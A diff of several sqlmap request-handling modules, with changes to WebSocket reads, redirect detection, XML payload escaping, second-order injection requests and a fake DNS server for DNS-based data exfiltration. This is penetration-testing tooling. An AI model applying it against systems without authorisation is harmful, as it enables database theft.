-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
     Reference: http://selenic.com/hg/rev/6c51a5056020
     Fix for a: http://bugs.python.org/issue8797
     """
+
     def __init__(self, *args, **kwargs):
         _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
         self.retried_req = set()

lib/request/chunkedhandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/comparison.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/connect.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -98,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IS_WIN
+from lib.core.settings import JAVASCRIPT_HREF_REGEX
 from lib.core.settings import LARGE_READ_TRIM_MARKER
 from lib.core.settings import MAX_CONNECTION_READ_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
@@ -118,6 +119,7 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import WARN_TIME_STDEV
+from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
 from lib.request.basic import decodePage
 from lib.request.basic import forgeHeaders
 from lib.request.basic import processResponse
@@ -450,10 +452,25 @@ class Connect(object):
 
             if webSocket:
                 ws = websocket.WebSocket()
-                ws.settimeout(timeout)
+                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                 ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                 ws.send(urldecode(post or ""))
-                page = ws.recv()
+
+                _page = []
+
+                if kb.webSocketRecvCount is None:
+                    while True:
+                        try:
+                            _page.append(ws.recv())
+                        except websocket.WebSocketTimeoutException:
+                            kb.webSocketRecvCount = len(_page)
+                            break
+                else:
+                    for i in xrange(max(1, kb.webSocketRecvCount)):
+                        _page.append(ws.recv())
+
+                page = "\n".join(_page)
+
                 ws.close()
                 code = ws.status
                 status = _http_client.responses[code]
@@ -549,7 +566,7 @@ class Connect(object):
                     code = None
                     responseHeaders = {}
 
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                 status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
 
             kb.connErrorCounter = 0
@@ -563,10 +580,17 @@ class Connect(object):
                     debugMsg = "got HTML meta refresh header"
                     logger.debug(debugMsg)
 
+                if not refresh:
+                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
+
+                    if refresh:
+                        debugMsg = "got Javascript redirect request"
+                        logger.debug(debugMsg)
+
                 if refresh:
                     if kb.alwaysRefresh is None:
-                        msg = "sqlmap got a refresh request "
+                        msg = "got a refresh request "
-                        msg += "(redirect like response common to login pages). "
+                        msg += "(redirect like response common to login pages) to '%s'. " % refresh
                         msg += "Do you want to apply the refresh "
                         msg += "from now on (or stay on the original page)? [Y/n]"
 
@@ -620,7 +644,7 @@ class Connect(object):
                 responseHeaders = ex.info()
                 responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                 patchHeaders(responseHeaders)
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
+                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
             except socket.timeout:
                 warnMsg = "connection timed out while trying "
                 warnMsg += "to get error page information (%d)" % ex.code
@@ -690,7 +714,7 @@ class Connect(object):
                         else:
                             raise SqlmapConnectionException(warnMsg)
                 else:
-                    debugMsg = "got HTTP error code: %d (%s)" % (code, status)
+                    debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
                     logger.debug(debugMsg)
 
         except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
@@ -839,7 +863,7 @@ class Connect(object):
 
     @staticmethod
     @stackedmethod
-    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
+    def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
         """
         This method calls a function to get the target URL page content
         and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -924,7 +948,7 @@ class Connect(object):
                 if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                     # payloads in SOAP/XML should have chars > and < replaced
                     # with their HTML encoded counterparts
-                    payload = payload.replace('>', "&gt;").replace('<', "&lt;")
+                    payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;")  # Reference: https://stackoverflow.com/a/1091953
                 elif kb.postHint == POST_HINT.JSON:
                     payload = escapeJsonValue(payload)
                 elif kb.postHint == POST_HINT.JSON_LIKE:
@@ -1030,11 +1054,11 @@ class Connect(object):
 
                 match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
                 if match:
-                    retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
+                    retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                 else:
                     match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
                     if match:
-                        retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
+                        retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
 
                 return retVal
 
@@ -1339,17 +1363,18 @@ class Connect(object):
                     warnMsg += "behavior in custom WAF/IPS solutions"
                 singleTimeWarnMessage(warnMsg)
 
-        if conf.secondUrl:
+        if not ignoreSecondOrder:
-            page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+            if conf.secondUrl:
-        elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
+                page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
-            def _(value):
+            elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
-                if kb.customInjectionMark in (value or ""):
+                def _(value):
-                    if payload is None:
+                    if kb.customInjectionMark in (value or ""):
-                        value = value.replace(kb.customInjectionMark, "")
+                        if payload is None:
-                    else:
+                            value = value.replace(kb.customInjectionMark, "")
-                        value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
+                        else:
-                return value
+                            value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
-            page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
+                    return value
+                page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
 
         threadData.lastQueryDuration = calculateDeltaSeconds(start)
 

lib/request/direct.py

@@ -1,10 +1,11 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+import re
 import time
 
 from lib.core.agent import agent
@@ -43,8 +44,14 @@ def direct(query, content=True):
                 select = False
                 break
 
-    if select and not query.upper().startswith("SELECT "):
+    if select:
-        query = "SELECT %s" % query
+        if not query.upper().startswith("SELECT "):
+            query = "SELECT %s" % query
+        if conf.binaryFields:
+            for field in conf.binaryFields:
+                field = field.strip()
+                if re.search(r"\b%s\b" % re.escape(field), query):
+                    query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
 
     logger.log(CUSTOM_LOGGING.PAYLOAD, query)
 

lib/request/dns.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -11,10 +11,58 @@ import binascii
 import os
 import re
 import socket
+import struct
 import threading
 import time
 
 class DNSQuery(object):
+    """
+    >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
+    True
+    >>> DNSQuery(b'\\x00')._query == b""
+    True
+    """
+
+    def __init__(self, raw):
+        self._raw = raw
+        self._query = b""
+
+        try:
+            type_ = (ord(raw[2:3]) >> 3) & 15                   # Opcode bits
+
+            if type_ == 0:                                      # Standard query
+                i = 12
+                j = ord(raw[i:i + 1])
+
+                while j != 0:
+                    self._query += raw[i + 1:i + j + 1] + b'.'
+                    i = i + j + 1
+                    j = ord(raw[i:i + 1])
+        except TypeError:
+            pass
+
+    def response(self, resolution):
+        """
+        Crafts raw DNS resolution response packet
+        """
+
+        retVal = b""
+
+        if self._query:
+            retVal += self._raw[:2]                                                     # Transaction ID
+            retVal += b"\x85\x80"                                                       # Flags (Standard query response, No error)
+            retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00"             # Questions and Answers Counts
+            retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)]             # Original Domain Name Query
+            retVal += b"\xc0\x0c"                                                       # Pointer to domain name
+            retVal += b"\x00\x01"                                                       # Type A
+            retVal += b"\x00\x01"                                                       # Class IN
+            retVal += b"\x00\x00\x00\x20"                                               # TTL (32 seconds)
+            retVal += b"\x00\x04"                                                       # Data length
+            retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
+
+        return retVal
+
+class DNSServer(object):
     """
     Used for making fake DNS resolution responses based on received
     raw request
@@ -24,43 +72,6 @@ class DNSQuery(object):
         https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
     """
 
-    def __init__(self, raw):
-        self._raw = raw
-        self._query = ""
-
-        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
-
-        if type_ == 0:                                  # Standard query
-            i = 12
-            j = ord(raw[i])
-
-            while j != 0:
-                self._query += raw[i + 1:i + j + 1] + '.'
-                i = i + j + 1
-                j = ord(raw[i])
-
-    def response(self, resolution):
-        """
-        Crafts raw DNS resolution response packet
-        """
-
-        retVal = ""
-
-        if self._query:
-            retVal += self._raw[:2]                                             # Transaction ID
-            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
-            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
-            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
-            retVal += "\xc0\x0c"                                                # Pointer to domain name
-            retVal += "\x00\x01"                                                # Type A
-            retVal += "\x00\x01"                                                # Class IN
-            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
-            retVal += "\x00\x04"                                                # Data length
-            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
-
-        return retVal
-
-class DNSServer(object):
     def __init__(self):
         self._check_localhost()
         self._requests = []
@@ -95,9 +106,15 @@ class DNSServer(object):
 
         retVal = None
 
+        if prefix and hasattr(prefix, "encode"):
+            prefix = prefix.encode()
+
+        if suffix and hasattr(suffix, "encode"):
+            suffix = suffix.encode()
+
         with self._lock:
             for _ in self._requests:
-                if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
+                if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I):
                     retVal = _
                     self._requests.remove(_)
                     break
@@ -148,7 +165,7 @@ if __name__ == "__main__":
                 if _ is None:
                     break
                 else:
-                    print("[i] %s" % _)
+                    print("[i] %s" % _.decode())
 
             time.sleep(1)
 

lib/request/httpshandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -11,7 +11,6 @@ import socket
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
-from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -27,6 +26,7 @@ except ImportError:
     pass
 
 _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
+_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
 
 class HTTPSConnection(_http_client.HTTPSConnection):
     """
@@ -50,7 +50,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
             for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
                 try:
                     sock = create_sock()
@@ -66,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                         sock.close()
                 except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                     self._tunnel_host = None
-                    logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
+                    logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
 
             if kb.tlsSNI.get(self.host) is None:
                 kb.tlsSNI[self.host] = success
@@ -86,7 +86,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
                         sock.close()
                 except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                     self._tunnel_host = None
-                    logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
+                    logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
 
         if not success:
             errMsg = "can't establish SSL connection"

lib/request/inject.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -24,6 +24,7 @@ from lib.core.common import getTechniqueData
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import initTechnique
+from lib.core.common import isDigit
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
@@ -104,12 +105,14 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
         if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
 
             if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
-                expression = "SELECT %s FROM (%s)" % (field, expression)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA):
+                    alias = randomStr(lowercase=True, seed=hash(expression))
+                    expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression)  # Note: MonetDB as a prime example
+                    expression += " AS %s" % alias
+                else:
+                    expression = "SELECT %s FROM (%s)" % (field, expression)
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
+            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
-                    expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
-
-            if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','):
                 nulledCastedField = agent.nullAndCastField(field)
                 injExpression = expression.replace(field, nulledCastedField, 1)
             else:
@@ -235,7 +238,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                             elif choice == 'Q':
                                 raise SqlmapUserQuitException
 
-                            elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
+                            elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
                                 stopLimit = int(choice)
 
                                 infoMsg = "sqlmap is now going to retrieve the "
@@ -246,7 +249,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                                 message = "how many? "
                                 stopLimit = readInput(message, default="10")
 
-                                if not stopLimit.isdigit():
+                                if not isDigit(stopLimit):
                                     errMsg = "invalid choice"
                                     logger.error(errMsg)
 
@@ -261,7 +264,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
 
                                 return None
 
-                    elif count and not count.isdigit():
+                    elif count and not isDigit(count):
                         warnMsg = "it was not possible to count the number "
                         warnMsg += "of entries for the SQL query provided. "
                         warnMsg += "sqlmap will assume that it returns only "
@@ -493,7 +496,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
     if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
         warnMsg = "in case of continuous data retrieval problems you are advised to try "
         warnMsg += "a switch '--no-cast' "
-        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
+        warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else ""
         singleTimeWarnMessage(warnMsg)
 
     # Dirty patch (safe-encoded unicode characters)